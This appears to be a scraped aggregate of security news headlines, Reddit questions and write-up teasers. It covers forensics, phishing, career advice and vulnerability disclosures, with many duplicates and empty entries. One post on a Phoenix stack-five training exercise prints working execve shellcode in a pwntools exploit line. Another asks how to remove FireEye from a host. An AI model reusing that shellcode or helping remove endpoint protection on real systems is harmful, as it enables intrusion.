I've been fascinated with cyber/net sec since I was a teenager who wanted to be a '1337 hax0r' (doesn't every nerdy teen wanna be one?). However, I went into Web Development. As I went I did have to learn about defensive coding techniques against SQL injection, path escalation, etc. I worked for financial, insurance and ISO270001 companies and thought I had a reasonable grasp of things since I'd done some sysadmin along the way installing Fail2Ban, Tripwire, etc. I even have the compact red, blue and purple team reference books and Parrot Sec on one partition I occasionally used to play with sec tools and have a Shodan account. I knew about Metasploit but had only done one tutorial. Fast forward to now: I need a career change after dev-burnout. I look into cyber sec and BOOM! Suddenly I see a ton of shit I've never seen before: SIEM? Mitre Att&ck? IoT Bots (have my ESP32 climate monitoring boards become an attack vector?!) TTPs? What on earth happened in the past few years that I missed? I barely recognise the industry anymore. I lifted my finger off the pulse for a few seconds and suddenly it's a different beast entirely. Can some kind soul point me to a good YouTube channel, guide, book, (free/cheap) course that will fill in the gaps I've missed the past few years? submitted by /u/adminsuckdonkeydick [link] [comments]

Recently noticed activity that I didn't really remember doing on an account, but it was from my exact ip address. I have a limited understanding of ip addresses, but spoofing a specific address isn't really possible, as you won't receive anything from the site you are trying to reach, correct? A proxy needs to be used, which is already a set "spoofed" ip, right? . submitted by /u/SaucyBoiTybalt [link] [comments]

Does anyone know where I can find instructions or documentation about removing FireEye from a host? Specifically what registry keys should be deleted? Does anyone have experience with this request? Thank you for taking a look! submitted by /u/ELcup [link] [comments]

Hey r/AskNetsec, I'm getting hacked by two lecturers at my university. I know this and do not want to call the police as I have no evidence of them hacking me. I'm a student and have no money to pay for a digital forensics investigation to be done. How do I stop them from hacking me. They're hacking all my devices and families devices. They also are hacking my email account using a cookie stealer. I have no idea how to stop this and this has become cyberstalking. I'm a South African, I cannot contact the FBI or foreign charity organisations either. I don't want to involve the police since, all they have to do is stop hacking me, then I could get prosecuted for falsely accusing someone of committing a crime. Any advice or help with the situation would be appreciated. Best regards, Anon submitted by /u/Independent_Art_9954 [link] [comments]

A few days ago, I happened to see a message from Facebook. I went through the link without thinking and since then, I have since countless spam emails, and several times a day, I have been notified of membership registration and logout for sites that I do not need to log in at all the time. After that, I found out that something was wrong. Perhaps attacked by phishing. The Facebook site on the link I entered was a well-made site very similar to a normal site. In addition, there was no doubt at all because it was possible to log in, search, news articles, and content within the site. Banners, search windows, newsstand windows, login windows, and putters at the bottom were configured in a very similar way. And as a result, I had no choice but to renew all my personal contact information and e-mail addresses. I've only encountered the kind of writing to be careful of phishing sites, but I feel quite bad that I'm actually being attacked. Beyond feeling bad, it is creepy that other people view and use my personal information without permission. In order to prevent access to phishing sites and prevent personal information from being leaked, it is necessary to check if the domain is normal when receiving e-mails or text messages containing links. So I want to ask. What is a way to verify that it is a normal domain when receiving mail and text messages containing links? Is there a service or system that determines a link to a web page normal or dangerous when i enter suspicious link to search box? submitted by /u/Late_Ice_9288 [link] [comments]

Hey Everyone, I have a new mentee who wants to learn networking. She is completely from a non IT background. Could you please suggest some good basic references/trainings that she can learn from. I know of some CCNA and Comptia instructors who start from quite basics but wanted to check if there is some other non certifications course that she can start with. submitted by /u/wackynerd14 [link] [comments]

As this is a very hot topic, I'd like to prefix this with me saying I am trying to keep this 100% politics-free and strictly technology-related. That said, I read earlier today that there's a possibility of Russia forcing the use of their own DNS servers as of March 11: https://www.thetechoutlook.com/news/new-release/software-apps/breaking-news-russia-is-preparing-to-disconnect-from-the-global-internet I do not know the validity of the news itself, so I'm hoping to keep this strictly on the technical aspect in the case the order does happen. If we have vendors that hold offices in Russia and can access to our VPN (let's also assume we do not have control over our vendor's offices): could this new order introduce any additional risks to our network? Our VPN should deny all requests with an invalid SSL certificate, but does anyone think the order could introduce any additional risk of DNS attacks? (at least directly?) Assuming users do not ignore SSL warnings, would this be any more of a concern than usual? Thanks in advance! submitted by /u/HPCer [link] [comments]

submitted by /u/dmchell [link] [comments]

submitted by /u/dmchell [link] [comments]

submitted by /u/Raven_Claw7621 [link] [comments]

Everyday, billions of people around the world turn to Chrome to get things done quickly on their devices, whether shopping for a new pair of headphones or pulling together a sales report for work. Nothing is more frustrating than having a slow experience while browsing the web. That’s why Chrome has always been focused on building the fastest possible browser since its launch in 2008, without compromising on feature functionality or security. In our first The Fast and the Curious post of 2022, we are thrilled to celebrate how in the M99 release of Chrome we were able to substantially increase the speed of Chrome across all major platforms. We go deep on every platform where Chrome runs to provide the fastest possible experience. We’re excited to announce that in M99, Chrome on Mac has ach…

(LET’S EXPLORE WEBSITE) Continue reading on Medium »

This post describes three vulnerabilities found on paid bounty programs along with an overview about how it was found and the performed… Continue reading on InfoSec Write-ups »

In light of the current events occurring in Ukraine now would be a good time to: Continue reading on Medium »

Article URL: https://orca.security/resources/blog/autowarp-microsoft-azure-automation-service-vulnerability/ Comments URL: https://news.ycombinator.com/item?id=30589845 Points: 213 # Comments: 41

Article URL: https://dirtypipe.cm4all.com/ Comments URL: https://news.ycombinator.com/item?id=30586740 Points: 673 # Comments: 232

Glassdoor disclosed a bug submitted by bombon: https://hackerone.com/reports/1424094 - Bounty: $2000

优秀 ATT&CK 项目巡礼 by Avenger SecWiki周刊（第418期) by ourren 软件工程能力漫谈(视频 & PPT) by ourren 更多最新文章，请访问SecWiki

优秀 ATT&CK 项目巡礼 by Avenger SecWiki周刊（第418期) by ourren 软件工程能力漫谈(视频 & PPT) by ourren 更多最新文章，请访问SecWiki

soon Continue reading on Medium »

soon Continue reading on Medium »

submitted by /u/FoShizzleMyWeasle [link] [comments]

submitted by /u/moviuro [link] [comments]

submitted by /u/TheDFIRReport [link] [comments]

Hi Team, Need suggestions for any websites where I can find a reference scenario of a cybercrime where you have to do a computer forensics on a victims PC. For example a hacking incident, you have to verify of investigate how he/she was hacked. The report shall include the creation of a hypothetical scenario of a crime committed involving the said electronic device, as well as, a detailed description of the forensic examination, tools used, procedure, and findings, evidenced with the necessary screenshots and ensure all screenshots have the necessary verifiable names. This is a school project for my cybersecurity program and it is only my term 1. ​ Thank you so much! submitted by /u/bankshot15 [link] [comments]

To present forensic analysis in the court, we can't modify smarphone evidence, although i have put android phone in airplane mode, i still worry about modifying smartphone data during cellebrite ufed phone extraction, how to avoid tempate evidence during extraction? for linux image analysis, i can mount as read only, how about smartphone? submitted by /u/cyberfo [link] [comments]

Yep..someone fucked up the chain of custody forms submitted by /u/MasterBet [link] [comments]

submitted by /u/TheDFIRReport [link] [comments]

we encounter a lot of packages with small ttl in our pcap files, is this the symptom of DNS poisoning attack, or dns hijacking or other dns attack, like ddos? submitted by /u/cyberfo [link] [comments]

how to detect C2 communication from log, we have method to detect beaconing, but now has difficulty in detect Command and control command, we have no clue, anyone know how to detect it through splunk log? submitted by /u/cyberfo [link] [comments]

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

基于零信任的远程办公安全方案，可以摆脱主机，轻松保证远程办公业务的连续性。

到2023年底，初步构建起车联网网络安全和数据安全标准体系；到2025年，形成较为完善的车联网网络安全和数据安全标准体系。

我们会持续的介绍一些国际上臭名昭著APT组织，让我们更加了解和规避这些恶意的恶意软件。

这里从漏洞点出发，分析漏洞，从中学习一些白盒挖掘漏洞的思路。

美国网络安全和基础设施安全局 (CISA) 本周在其利用漏洞目录中增加了95个新的安全漏洞，使其可利用的漏洞总数达到 478 个。

本文将重新审视密码管理器，为大家解答关于密码管理器的若干重要问题。

Telegram’da Putin yanlısı kanallar arıyordum, Google Dork’u kullanma. Bunun da Google hacking’i kullanmanın pratik bir örneği olduğunu… Continue reading on Medium »

Open source intelligence is a vital task for the red team and blue team alike. Here are some of the most useful OSINT tools. Continue reading on Medium »

Automatic Free Crawler By Google Continue reading on Medium »

Final Recon is a fast and simple python script for web reconnaissance. It follows a modular structure so in future new modules can be… Continue reading on Medium »

Hey everyone I would like to join the security game. i have a background in programming, how computers and software works what is the fastest way to make money in the security field? I'm here not only for money i really like this field but i need to make money fast i have pills to pay and i can't get a job appreciate any help and guide submitted by /u/timet0fly [link] [comments]

Hi there, I'm interested to test this SIEM for education purposes. I downloaded the latest version from the official site and installed it on my VMware. But I stumbled upon the fact that I do not fully understand how best to configure everything. I did not find any deep step-by-step documentation on the official portal. And most likely I can miss a lot through undetailed documentation. Do I understand correctly that Suricata works out of the box? I don't need to install an agent on a Windows host? When I installed HIDS on my Windows host, I had a lot of weird events where the destination IP is displayed - 0.0.0.0. And I don't even know how to make a rule, so these events are not reflected. I googled and other people had such problems and there is no solution. Who works a lot with this SIEM, perhaps from your experience, you could share recommendations on what to do, what to do after installing this SIEM. I also haven't fully figured out how to run FIM. submitted by /u/athanielx [link] [comments]

I believe my neighbors are watching me using private networks. I have have an app that shows hidden SSIDs. I think they are using these networks to see and listen to what I'm doing on my devices. submitted by /u/AshuraSenkuu [link] [comments]

There is an on going bug in chrome that allows attackers to download files in the background into the victims machine without triggering any gui updates, I first experienced this about two moths ago when I was trying to close the browser only to be interrupted by a chrome prompt informing me that there are ongoing downloads in the background that weren't started by me and display no sign of the downloading process on chrome's gui. I was a bit alarmed but I didn't pay it too much attention. Then I got curious when yesterday I had the same experience again, this time obviously I clicked 'continue downloads', I was taken to chrome download page where I found that chrome had intercepted and flagged a 'malicious file' and it was offering me to either 'keep' or 'discard' said file, regrettably …

Hello everyone ! I am a 21 year old french cybersecurity enthusiast and I would like to share with you Frelatage, which is a tool I wrote ! It is a coverage-based Python fuzzing library which can be used to fuzz python code. The development of Frelatage was inspired by various other fuzzers, including AFL/AFL++, Atheris and PyFuzzer.The main purpose of the project is to take advantage of the best features of these fuzzers and gather them together into a new tool in order to efficiently fuzz python applications. Please note that the project is still in early alpha, and its development is very active, so any advice or suggestion is welcomed ! Install: https://github.com/Rog3rSm1th/Frelatage https://i.redd.it/m88potyk9tl81.gif submitted by /u/FrenchFuzzer [link] [comments]

As I was going through protostar Phoenix Stack overflows I came across something on the Stack-Five exercise that I don't quite understand on amd64. https://exploit.education/phoenix/stack-five/ Basically I can get the exploit to work when the nop sled is 80 characters long but when I have it 88 characters long I get a seg fault. This Works t.sendline('\x90'*80 + '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' + 'h'*29 + pwn.p64(0x7fffffffe5d0)) ​ This gives a segfault t.sendline('\x90'*88 + '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' + 'h'*21 + pwn.p64(0x7fffffffe5d0)) ​ Does anyone know why the second one doesn't work? submitted by /u/Jasonsaccount [link] [comments]

submitted by /u/jonas02 [link] [comments]

submitted by /u/JordyZomer [link] [comments]

These days bug bounty hunters have been finding many low hanging fruits and a lot of them want to go beyond those bugs. This blog is for… Continue reading on InfoSec Write-ups »

Hello Myself Manan Aggarwal a student from the BTech CSE is here to Present you the Blog about the All About the Access Control Part-1… Continue reading on Medium »

Hi all, I hope all is well. In this story, I’ll explain an idor bug which I found in a private bug bounty program. This story will very… Continue reading on Medium »

An automated SSRF finder. Just give the domain name and your server and chill! ;) It also has options to find XSS and open redirects. Continue reading on Medium »

Bypassing biometric authentication just by making a call and access the app completely Continue reading on InfoSec Write-ups »

Hello, Security Guys & Hacker In this Write Up I am Going to tell you about Continue reading on Medium »

This is a short story about my recent bug hunting on a private program. This program mainly relies on OTP to check user’s authentication… Continue reading on Techiepedia »

Let us learn some P4 bugs Continue reading on Medium »

今日暂未更新资讯~ 更多最新文章，请访问SecWiki

今日暂未更新资讯~ 更多最新文章，请访问SecWiki

In my forensic image, some deleted files I can recover, some can not. How Encase determine which files are not recoverable internally? For data carving, how Encase retrieve internally those files, are they use same techniques compared with recover deleted files? thanks. submitted by /u/cyberfo [link] [comments]

in X-ways, if I browse the root directory of image, i found free space, idle space and slack space, can anyone explain what's the different among these these three spaces? in filter attribute， there are SUID/SGID, symlink and special file. I thought suid file are special file, what are the special file X-ways refer to ? symlink means hardlink or soft link? submitted by /u/cyberfo [link] [comments]

Hi all. I'm an intern in computer forensics and I'm trying to perform a physical acquisition on an oppo phone which is unfortunately unrootable as far as I know. I have Cellebrite UFED and MobilEdit but both of them require rooted devices. Any advice for this case? Tysm submitted by /u/juneflorence [link] [comments]

Signature based intrusion detection or prevention systems, will detect malicious activity through a predefined signature. If a Red Team… Continue reading on Medium »

Article URL: https://lists.apache.org/list?announce@apache.org:2022-3 Comments URL: https://news.ycombinator.com/item?id=30577267 Points: 3 # Comments: 0

Article URL: https://lists.apache.org/list?announce@apache.org:2022-3 Comments URL: https://news.ycombinator.com/item?id=30577267 Points: 3 # Comments: 0

My previous post on this topic presented my thoughts on how the concept of "artifact categories" were being misused. My engagement with artifact categories goes back to 2013, when Corey Harrell implemented his thoughts on categories via auto_rip. I saw, and continue to see, the value in identifying artifact categories, but as I alluded to in my previous post, it really seems that the categories are being misused. Where the artifacts should be viewed as providing an indication of the categories and requiring further analysis (including, but not limited to the population of artifact constellations), instead, the artifacts are often misinterpreted as being emphatic statements of the event or condition occurring. For example, while an entry in the ShimCache or AmCache.hve file should indicate …

A request that's been pretty consistent within the industry over time has had to do with reporting. I'd see a request, some responses, someone might ask for a template, and then the exchange would die off...I assumed that it had moved to DMs or offline. Then you'd see the discussion pop up again later, in some other forum. I get it...writing is hard. I have the benefit of having had to write throughout my career, but also of putting intentional, dedicated effort into DFIR reporting, in that I had been very purposeful in seeking feedback from my boss, and incorporating that feedback into report writing. I was able to get to the point of having reports approved with minimal (if any) changes pretty quickly.  As a result, in 2014, Windows Forensic Analysis Toolkit 4/e was published, and in thi…

submitted by /u/PM_ME_TO_PLAY_A_GAME [link] [comments]

submitted by /u/SatansMoisture [link] [comments]

submitted by /u/SatansMoisture [link] [comments]

Introduction Many tools have been developed that create an HTTP request and allow a user to modify their contents. Fuzzing works the same way. A The post A Detailed Guide on Wfuzz appeared first on Hacking Articles.

Introduction Many tools have been developed that create an HTTP request and allow a user to modify their contents. Fuzzing works the same way. A The post A Detailed Guide on Wfuzz appeared first on Hacking Articles.

submitted by /u/addelindh [link] [comments]

Traveling a lot this week and was just wondering what kind of vpn you guys use while traveling and any other security measures you may have :) submitted by /u/Savage-shredder [link] [comments]

I never thought I would say this, normally being on the hiring side, but has anyone had positive experience for US-based boutique infosec recruiters that they would recommend? I’ve found several listed in CISO magazine and such but don’t know if any are particularly clue-full. Public or DM is fine, thanks! submitted by /u/venerable4bede [link] [comments]

Cloudflare supports more than 16 million Internet attributes and is now one of the most popular WAFs(Web Application Firewalls). A year… Continue reading on Medium »

what is Xml-RPC? Continue reading on Medium »

高效挖掘反序列化漏洞——GadgetInspector改造 by ourren js安全之ast混淆 by ourren 基于openresty的安全网关开发记录 by ourren 更多最新文章，请访问SecWiki

高效挖掘反序列化漏洞——GadgetInspector改造 by ourren js安全之ast混淆 by ourren 基于openresty的安全网关开发记录 by ourren 更多最新文章，请访问SecWiki

How to collect a forensic image of a VSXI/EXSI that has been infected with ransomware? submitted by /u/rvndomus3r2019 [link] [comments]

I am sending a hard drive I own into Cyber Forensics. If possible, I am looking for software advice to copy the hard drive before sending it in to experts. Additionally, if you have advice for transferring the files from the software to a type of hardware, I would appreciate it. ​ Thanks. submitted by /u/Odd-Switch-1658 [link] [comments]

Article URL: https://www.theguardian.com/commentisfree/2022/mar/05/uks-vulnerability-to-corruption-uncovered-amid-slow-sanctions-response Comments URL: https://news.ycombinator.com/item?id=30566774 Points: 9 # Comments: 0

submitted by /u/hanbei-undying [link] [comments]

Mail.ru disclosed a bug submitted by mainteemoforfun: https://hackerone.com/reports/1045644

英伟达发布了一份报告，承认攻击者从其系统中窃取了员工密码和未披露的英伟达专有信息。

Article URL: https://github.com/libexpat/libexpat/blob/R_2_4_7/expat/Changes Comments URL: https://news.ycombinator.com/item?id=30564782 Points: 1 # Comments: 0

Tryhackme: Searchlight — IMINT — Part 2 Continue reading on Medium »

How I triggered a weaponized Fake-Left Troll Farm meant to harass, target, defame and deplatform prominent Disinformation researchers. Continue reading on Medium »

This post is a step-by-step guide to create a network diagram in Maltego. Continue reading on Medium »

Baidu Maps http://map.baidu.com/ Continue reading on System Weakness »

Imagina estar fazendo sua dancinha trend no TikoTeko e ser preso logo após? Pois foi o que aconteceu. Continue reading on Medium »

submitted by /u/yesyoucantrip [link] [comments]

submitted by /u/stargravy [link] [comments]

submitted by /u/wrongbaud [link] [comments]

submitted by /u/h4ck3dit [link] [comments]

submitted by /u/mdulin2 [link] [comments]

submitted by /u/YuvalAvra [link] [comments]

Lark Technologies disclosed a bug submitted by aishkendle: https://hackerone.com/reports/1470076 - Bounty: $500

Omise disclosed a bug submitted by sachinrajput: https://hackerone.com/reports/1466967

Nearly all Rust code is memory-safe. A necessary part of using Rust is to use the wide ecosystem of third-party Rust crates. These are… Continue reading on Medium »

Nearly all Rust code is memory-safe. A necessary part of using Rust is to use the wide ecosystem of third-party Rust crates. These are… Continue reading on Medium »

I see how bluetooth is a vulnerability to the data that's being transferred over the connection but does it pose an actual threat to, lets say, a phone's internal data? Or are they just going to be able to listen along to my music? submitted by /u/zeff_05 [link] [comments]

Does Airbnb have a robust enough infosec team to prevent Russian hackers from registering fake properties in the Ukraine to take advantage of all the people in America lazy enough to only donate to Ukrainians bthrough reserving Airbnb's? submitted by /u/intentropy [link] [comments]

I'm looking at an email that was suspected as a phish and for the most part it's fairly benign but there's a few areas in the headers that don't add up for me. The call to action in the email was to update some Site-to-Site VPN addresses to US Bank. Important to note that we don't currently have anything like that established with them, though the support numbers appear to be official and I just don't clearly see where the hook here is yet. The part that confuses me most is that the sender IP listed as the first SPF record is our public NAT address for client VPNs and not even one of our mail servers. The headers do refer to one of our mail servers further down, however it's the wrong IP. I'm new to the org though so may not have all the pieces to the puzzle. Are there simple explanations…

Hey Everyone. Moderating this Subreddit throughout the past 6 or so months I have seen the topic come up quite a bit regarding utilization. While Metrics need to be gathered to determine whether an employee does their job or not, having baselines often causes stress, unrealistic expectations, and caveats that often cause issues with this requirement (IE Training on common security topics/trends/New Threat Landscapes) As far as I know, having a growth mindset and focusing on metrics related to security inside the organization is the way to go, and not micromanaging employees on the numbers each one of them push out. I'd be interested to hear others and their thoughts on this, and how it relates to your employees and organization. submitted by /u/Envyforme [link] [comments]

Leaving it kinda brief, I have around 6 years in Security starting off as a QA and deployment engineer, and later moving on to partners and doing what I consider architecture. Most of my background is focused on SIEM. Scoping out deployments, talking to clients about what to log and understanding their requirements and how to change/modify their environments to match our services offerings etc. Anyway I took a "Security Architect" role at a big 5 firm and definitely realized I'm under prepared. What can I do to make sure I don't get fired? I didn't entirely oversell myself and I was totally open about my experience, I just feeling way overwhelmed with the level everyone else in my group is at. submitted by /u/Kirin-Jack [link] [comments]

Idk what to write submitted by /u/The_Intellectualist [link] [comments]

What is everyone else doing to effectively control (remove) the use of administrative rights on workstations development team members use? We’ve pulled local admin rights from general employees years ago without much issue but every time we approach our dev teams to do it it’s just impossible as it too extremely inhibits their work as they legitimately need to do config management for locally installed services (eg IIS) and maybe less legitimately installing “development tools”. I’d add, we do have pro, qa, dev, sandbox environments but the devs still choose to do development on their desktop systems for “performance” reasons which there is some truth to as we give them beefy hardware (tons of ram/top end CPUs). Edit: after some good dialog here seems like common perspective is to put them in an isolated environment such as a VM. Thanks everyone for the discussion. Still monitoring this so chime in with any other thoughts/experience. submitted by /u/clayjk [link] [comments]

It looks like there are two certificates now compromised as a result of the Nvidia breach. What if anything should organisations be doing to protect themselves? submitted by /u/annonuk2020 [link] [comments]

Article URL: https://packetstormsecurity.com/files/166208/pfSense-2.5.2-Shell-Upload.html Comments URL: https://news.ycombinator.com/item?id=30557143 Points: 10 # Comments: 0

Mnemosyne：一个高效的水坑攻击调查取证系统 by ourren GoDLP: 敏感信息保护系统 by ourren Make JDBC Attacks Brilliant Again 番外篇 by ourren Attack Flow — Beyond Atomic Behaviors by ourren 更多最新文章，请访问SecWiki

Mnemosyne：一个高效的水坑攻击调查取证系统 by ourren GoDLP: 敏感信息保护系统 by ourren Make JDBC Attacks Brilliant Again 番外篇 by ourren Attack Flow — Beyond Atomic Behaviors by ourren 更多最新文章，请访问SecWiki

Article URL: https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/ Comments URL: https://news.ycombinator.com/item?id=30556188 Points: 91 # Comments: 58

steps to run before forensic analyze: turn off screenlock, turn off backup, turn off find my iphone, what else? submitted by /u/cyberfo [link] [comments]

I've been working in eDiscovery and forensics for about three years, mostly lit support and low-level investigations. I hold CFCE and CCE certs. Currently enrolled in Champlain and I'll be wrapping up my B.S. in Computer Forensics and Digital Investigations. I'm located in an HCOL area and thinking of transitioning to a different company due to pay disparity. IR is in greater demand, so I imagine I'll be able to leverage more money in that field. What steps (training, certs, etc.) should I take to prepare myself if I decide to change my focus to DFIR? submitted by /u/stickyricky714 [link] [comments]

submitted by /u/KTthemajicgoat [link] [comments]

submitted by /u/kramps_ [link] [comments]

WebSocket, client ile server arasında veri aktarımını sağlayan çift yönlü ve modern web uygulamalarında yaygın olarak kullanılan HTTP gibi… Continue reading on Medium »

Clickjacking, saldırgan tarafından web uygulamasında barındırılan zararlı bir bağlantıya, hedef kullanıcının tıklaması sonucunda çeşitli… Continue reading on Medium »

CORS (Cross-Origin Resource Sharing / Kökenler Arası Kaynak Paylaşımı), belli bir domainin dışındaki kaynaklara kontrollü erişim sağlayan… Continue reading on Medium »

Take your time and start learning from these Resources. Continue reading on Medium »

Probably the most covered topic in bug bounty hunting and web apps is subdomain enumeration. Continue reading on Medium »

Bug bounty platforms and programs Continue reading on System Weakness »

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

总结推荐本周的热点资讯、优质文章和省心工具，保证大家不错过本周的每一个重点！

近日，Avast发布了免费的HermeticRansom勒索软件解密工具，只为帮助遭受勒索威胁的乌克兰受害者恢复数据。

一次简单渗透测试的总结

《规定》明确指出，在我国境内提供操作系统、终端设备、应用软件、网站等服务的，开展互联网弹窗信息推送服务时应当遵守本规定。

Hello everyone, I know this has been asked before however I’m going to build a forensics workstation for my department; we don’t have a lot of money to throw around to do a dual CPU set up. I was wondering if anyone would recommend the newest I9-12900k CPU for processing, or any other processor for the most efficient in imaging. I mainly use Magnet Axiom and cellabrite. One thing I’m having trouble with is finding a good MOBO, what would you all recommend, I need enough ports for a write blocker and multiple HDDS, and M.2 SSD’s. Thanks submitted by /u/ExiisTT [link] [comments]

Good day, all! I am working with a MS Surface Go 2. I have/had the PIN to access the device. I I did obtain a memory capture and logical image of the C: drive using FTKi. After obtaining that data, I tried to boot into Paladin but it would not load/boot. I went into the UEFI and disabled the Secure Boot option, knowing this may cause the device to become bitlocked - which it did, but did allow Paladin to boot. As I do 99% phones, this one is throwing me for a loop and I am seeking some guidance. I am now able to image the drive using Paladin, but obviously it will be bitlocked. The recovery key "should" be captured in the RAM, right? And if so, how do I decrypt the data once loaded (or before). I would be using Axiom to load the data. Thanks in advance for any insights and help! submitted by /u/Responsible_Dig_2899 [link] [comments]

Hi how can I investigate executed malicious file like maldoc or any execruable. How to get the list of artificates? Thanks submitted by /u/0X900 [link] [comments]

Does Cellebrite support file system extraction for deleted file? if yes, do we need to root the iphone or Android phone for data extraction? submitted by /u/cyberfo [link] [comments]

Quote from article: What we have then discovered, is that in most cases, external portable devices are not properly reported in Windows, at least insofar as what regards a Serial Number. This becomes incredibly problematic when your forensic reports says that the device serial number is “ABCD”, and an opposing expert says it is “EFGH”. Who is right? It is tough to convince a court that your tool is right and the label from the manufacturer is wrong. Are you examining a plastic container? Or are you examining a hard drive? What you do matters. Lives are affected by the work of digital forensics practitioners. https://www.computerpi.com/the-truth-about-usb-device-serial-numbers-and-the-lies-your-tools-tell/ submitted by /u/Erminger [link] [comments]

How to detect data exfiltration to external USB drive through $MFT, thanks submitted by /u/cyberfo [link] [comments]

submitted by /u/Jumpy_Resolution3089 [link] [comments]

submitted by /u/Goovscoov [link] [comments]

submitted by /u/CyberMasterV [link] [comments]

submitted by /u/almostfamous [link] [comments]

INTRODUCTION: Continue reading on Medium »

Tryhackme: Searchlight — IMINT Continue reading on Medium »

Cualquier amante de la ciberseguridad conoce el motor de búsqueda Shodan, pero ¿sabrías utilizar los parámetros adecuados para “Dorkear… Continue reading on Medium »

¿Are u re4dy? Continue reading on Medium »

Google Hunt Tool Continue reading on System Weakness »

(LET’S EXPOLRE HIDDEN FILES) Continue reading on Medium »

Hacken ekibi kısa süre önce, Rusya’nın Ukrayna’yı işgalinin başlangıcından bu yana CEO’muz Dyma Budorin ile ilk AMA oturumunu düzenledi… Continue reading on Medium »

Self Introduction : Continue reading on Medium »

Programming languages come in two categories: Hard/Strong Typed Soft/Weak Typed Continue reading on Techiepedia »

Vulnerability Category: A6- Security Misconfiguration Continue reading on Medium »

Continue reading on Medium »

Uber disclosed a bug submitted by johnzilla313: https://hackerone.com/reports/1496297

Ruby on Rails disclosed a bug submitted by nagli: https://hackerone.com/reports/1429148

Mail.ru disclosed a bug submitted by smallyu: https://hackerone.com/reports/1400197

submitted by /u/Pablouchka [link] [comments]

https://www.baldactors.com/wp-content/uploads/2016/03/ submitted by /u/SnooObjections8515 [link] [comments]

Seems like my post has been deleted again... Why not just take out the links that offend... Personal info is not personal if it is on the web... So Here is some funny... http://www.p14nd4.com/ars/ Starts here... http://www.thedevilsdue.us http://www.thedevilsdue.us/!.Music/AllMusic/!.DW.80GB/My%20Music/ music http://alliza.iptime.org/mobile/%c8%a8%c6%fa%b4%f5/%c1%c1%c0%ba%c0%da%b7%e1%bd%c7/%c0%bd%be%c7%c0%da%b7%e1%bd%c7/ http://iama.stupid.cow.org/Audio/ https://video.donaldandcheryl.net/Funny/ ​ https://simpsons.porn/assets/images/ ​ http://edmazur.com/images/funny/ ​ http://fricking.ninja/Media/photo_comments/mp4/ ​ http://www.kyudan.com/funny/Corel%20Auto-Preserve/ http://www.kyudan.com/funny/img/ ​ images... https://alt-tab.org/data/images/ submitted by /u/xanderTgreat [link] [comments]

https://www.origamiway.com/printable-origami-paper/ submitted by /u/shaburushaburu [link] [comments]

Unless otherwise noted, changes described below apply to the newest Chrome beta channel release for Android, Chrome OS, Linux, macOS, and Windows. Learn more about the features listed here through the provided links or from the list on ChromeStatus.com. Chrome 100 is beta as of March 3. 2022. You can download the latest on Google.com for desktop or on Google Play Store on Android. Last Version for Unreduced User-Agent String Chromium 100 will be the last version to support an unreduced User-Agent string by default (as well as the related navigator.userAgent, navigator.appVersion, and navigator.platform DOM APIs). The origin trial that allowed sites to test the fully reduced User-Agent will end on April 19, 2022. After that date, the User-Agent String will be gradually reduced. To review …

近日，Spring官方发布了关于Spring Cloud Gateway的CVE报告，其中包含Spring Cloud Gateway 远程代码执行漏洞（CVE-2022-22947）。攻击者可通过该漏洞恶意创建允...

近日，Spring官方发布了关于Spring Cloud Gateway的CVE报告，其中包含Spring Cloud Gateway 远程代码执行漏洞（CVE-2022-22947）。攻击者可通过该漏洞恶意创建允...

submitted by /u/SCI_Rusher [link] [comments]

CVE-2022-0492 is the third recent kernel vulnerability that allows malicious containers to escape. We offer root cause analysis and mitigations. The post New Linux Vulnerability CVE-2022-0492 Affecting Cgroups: Can Containers Escape? appeared first on Unit42.

SWE but no idea why I keep getting a red message in chrome when i try to go to websites i normally go to submitted by /u/oaxac9 [link] [comments]

One of my family has been complaining about her phone being always laggy. Which shouldn't happen because she uses a relatively new device? Well, there is also a possibility that she doesn't kill background possesses. But lately, I have been noticing the network becomes really laggy (supposedly it's not because of Ukraine?), and sometimes it just completely shut down/disconnects. Since we share the same wifi, are there any things I can do? Something to suggest to her, or for me to avoid getting infected, just in case. Thank you in advance! edit: I'm not sure if I should also include this but. I have a windows tablet and a Linux desktop that connects to the router through ethernet all the time. To be honest, I am not even sure if it can effect me in anyway, since I'm not educated at all in cybersecurity. Hopefully I'm just paranoid? Just to be sure haha, sorry for random posting. submitted by /u/manho1e [link] [comments]

I mean if the websited forced a download of a file, sorry, no force thing. I noticed today that my hosts file was modified and was 127.0.0.1 suspiciousaddress. I checked the address on web scanners and said clean but that it had an ascii file, small, 170 characters, maybe a script? I by mistake put the address on google and the browser tried to open it, I closed it and my internet crashed as soon as I did that so now I'm worried. I also tried to enter using the ip and not the dns and got a message but didnt wrote it down. I'd like to check if the website is downloading something on my pc, some script etc, or what else can I do? ​ Thanks in advance. submitted by /u/HeroOfTheNorthF [link] [comments]

I would like to check if malware could affect my main system (Silverblue), if I run windows or other linux distro via gnome boxes - could malware get into main os? If it could get affected, then would having amnesic help? I was reading how in some cases paging/ram could get copied into hard disk. So not sure. submitted by /u/AtomicFurion [link] [comments]

Hi guys, I'm going to build a simple home lab on a budget . Need recommendations regarding easy to deploy sandbox. What's your favorite sandbox and why? submitted by /u/breadcrumb2000 [link] [comments]

从网络空间认知战到对俄大规模网络致瘫攻击 by ourren 移动GS3101光猫分析 —— 狸猫换太子 by ourren 跟着三梦学Java安全：半自动挖洞 by ourren TA402 针对中东目标持续发起攻击 by Avenger 更多最新文章，请访问SecWiki

从网络空间认知战到对俄大规模网络致瘫攻击 by ourren 移动GS3101光猫分析 —— 狸猫换太子 by ourren 跟着三梦学Java安全：半自动挖洞 by ourren TA402 针对中东目标持续发起攻击 by Avenger 更多最新文章，请访问SecWiki

There are two common reasons you may want to change a user’s password during a penetration test: You have their NT hash but not their plaintext password. Changing their password to a known plaintext value can allow you to access services in which Pass-the-Hash is not an option. You don’t have their NT hash or... The post Manipulating User Passwords Without Mimikatz appeared first on TrustedSec.

